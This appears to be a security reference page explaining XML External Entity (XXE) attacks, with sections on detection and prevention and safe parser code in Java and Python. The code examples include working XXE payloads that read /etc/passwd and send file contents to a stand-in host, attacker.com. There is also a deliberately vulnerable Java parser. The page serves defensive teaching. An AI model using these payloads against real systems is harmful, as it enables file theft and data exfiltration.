XML External Entity (XXE) Attack

How XML External Entity (XXE) Attack Works

XML supports a feature called external entities, defined in a Document Type Definition (DTD). An entity is essentially a variable: <!ENTITY name "value"> defines an internal entity, while <!ENTITY name SYSTEM "file:///etc/passwd"> defines an external entity that loads its value from an external resource — a local file, a URL, or even a network service. When a vulnerable XML parser processes input containing these declarations and then expands the entity reference (&name;) in the document body, it fetches the external resource and includes its content in the parsed output. The attacker doesn't need special access — they simply submit crafted XML to any endpoint that parses XML input.

Real-World Examples

Impact & Risk Assessment

XXE is rated High (and was a dedicated OWASP Top 10 category in 2017 as A4: XML External Entities) because it provides a versatile toolkit for attackers: local file disclosure reveals credentials, keys, and source code; SSRF enables access to cloud metadata endpoints and internal services; DoS via XML bombs can crash production systems; and in specific configurations, code execution is achievable. The attack surface is deceptively large — XXE isn't limited to explicit XML APIs. Any application processing DOCX, XLSX, SVG, SAML, RSS, SOAP, or configuration files may be vulnerable. The prevalence of XML in enterprise systems (SOAP services, SAML SSO, document processing pipelines) means that XXE continues to affect critical infrastructure even as newer applications move to JSON. Bug bounty programs consistently rank XXE among the top 10 most reported vulnerability classes.

How to Detect XML External Entity (XXE) Attack

Monitor for XXE indicators across multiple layers: (1) WAF rules detecting DOCTYPE declarations, ENTITY definitions, and SYSTEM/PUBLIC keywords in incoming XML payloads — these rarely appear in legitimate application input; (2) Scan for entity references (&xxe;, &#x25;) and suspicious URIs in XML content (file://, expect://, php://, http:// pointing to internal IPs or metadata endpoints); (3) Monitor outbound network connections from XML processing services — a parser making HTTP/DNS requests to unexpected destinations indicates XXE or SSRF exploitation; (4) Application-level logging that records XML parsing events and flags any external entity resolution; (5) Memory monitoring on XML processing services — sudden memory spikes indicate XML bomb (Billion Laughs) attacks; (6) Intrusion detection rules for known XXE payloads in HTTP request bodies and multipart upload content.

How to Prevent XML External Entity (XXE) Attack

The primary defense is disabling external entity processing in the XML parser — this single configuration change neutralizes nearly all XXE variants. Implementation varies by language: (1) Java: DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) or use defusedxml; (2) Python: use defusedxml library instead of xml.etree, or set forbid_dtd=True, forbid_entities=True, forbid_external=True on the parser; (3) PHP: libxml_disable_entity_loader(true) (PHP < 8.0) or ensure LIBXML_NOENT is never passed to the parser; (4) .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit; (5) Ruby/Nokogiri: Nokogiri::XML(input) { |config| config.noent.nonet }. Additionally: validate and sanitize XML input using schemas (XSD), reject XML containing DOCTYPE declarations at the WAF level, convert XML APIs to JSON where possible, keep XML processing libraries updated, and apply least privilege to the service account running XML processing to limit the impact of file disclosure.

Code Examples

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
  <email>attacker@example.com</email>
</user>

<!-- Server response includes the contents of /etc/passwd:
<user>
  <name>root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...</name>
  <email>attacker@example.com</email>
</user>
-->

<!-- Blind XXE via out-of-band exfiltration: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

<!-- evil.dtd hosted on attacker's server:
  <!ENTITY % payload "<!ENTITY send SYSTEM 'http://attacker.com/exfil?d=%file;'>">
  %payload;
-->

import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;

public class XMLProcessor {

    // VULNERABLE: Default Java DocumentBuilder allows external entities
    public Document parseUnsafe(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        // No security features configured — XXE is possible!
        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(new ByteArrayInputStream(xml.getBytes()));
    }

    // SECURE: Disable DTDs and external entities entirely
    public Document parseSafe(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

        // Disallow DTDs entirely (the nuclear option — most effective)
        factory.setFeature(
            "http://apache.org/xml/features/disallow-doctype-decl", true);

        // Defense-in-depth: disable external entities even if DTD is somehow allowed
        factory.setFeature(
            "http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature(
            "http://xml.org/sax/features/external-parameter-entities", false);

        // Disable external DTD loading
        factory.setFeature(
            "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

        // Disable XInclude processing
        factory.setXIncludeAware(false);
        factory.setExpandEntityReferences(false);

        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(new ByteArrayInputStream(xml.getBytes()));
    }
}

# VULNERABLE: Standard library XML parsers are XXE-prone
# import xml.etree.ElementTree as ET  # DO NOT USE for untrusted XML
# tree = ET.parse('input.xml')         # Allows external entities!

# SECURE: Use the defusedxml library (pip install defusedxml)
import defusedxml.ElementTree as ET
from defusedxml import DefusedXmlException
from defusedxml.common import DTDForbidden, EntitiesForbidden

def parse_xml_safely(xml_string: str) -> dict:
    """Parse XML input with all dangerous features disabled."""
    try:
        # defusedxml automatically blocks:
        # - DTD processing
        # - External entity expansion
        # - External DTD loading
        # - Entity expansion beyond configurable limits
        root = ET.fromstring(xml_string)

        return {
            'tag': root.tag,
            'text': root.text,
            'children': [
                {'tag': child.tag, 'text': child.text}
                for child in root
            ]
        }

    except DTDForbidden:
        raise ValueError('XML with DTD declarations is not allowed')
    except EntitiesForbidden:
        raise ValueError('XML with entity definitions is not allowed')
    except DefusedXmlException as e:
        raise ValueError(f'Potentially malicious XML blocked: {e}')
    except ET.ParseError as e:
        raise ValueError(f'Invalid XML: {e}')


# For DOCX/XLSX/SVG file processing:
def safe_process_docx(file_path: str):
    """Process DOCX files with XXE protection."""
    import zipfile
    import defusedxml.ElementTree as SafeET

    with zipfile.ZipFile(file_path, 'r') as z:
        # DOCX internal XML files that could contain XXE
        for xml_file in ['word/document.xml', 'word/styles.xml']:
            if xml_file in z.namelist():
                with z.open(xml_file) as f:
                    # Parse each internal XML file safely
                    tree = SafeET.parse(f)  # XXE blocked automatically

Frequently Asked Questions

Related Attacks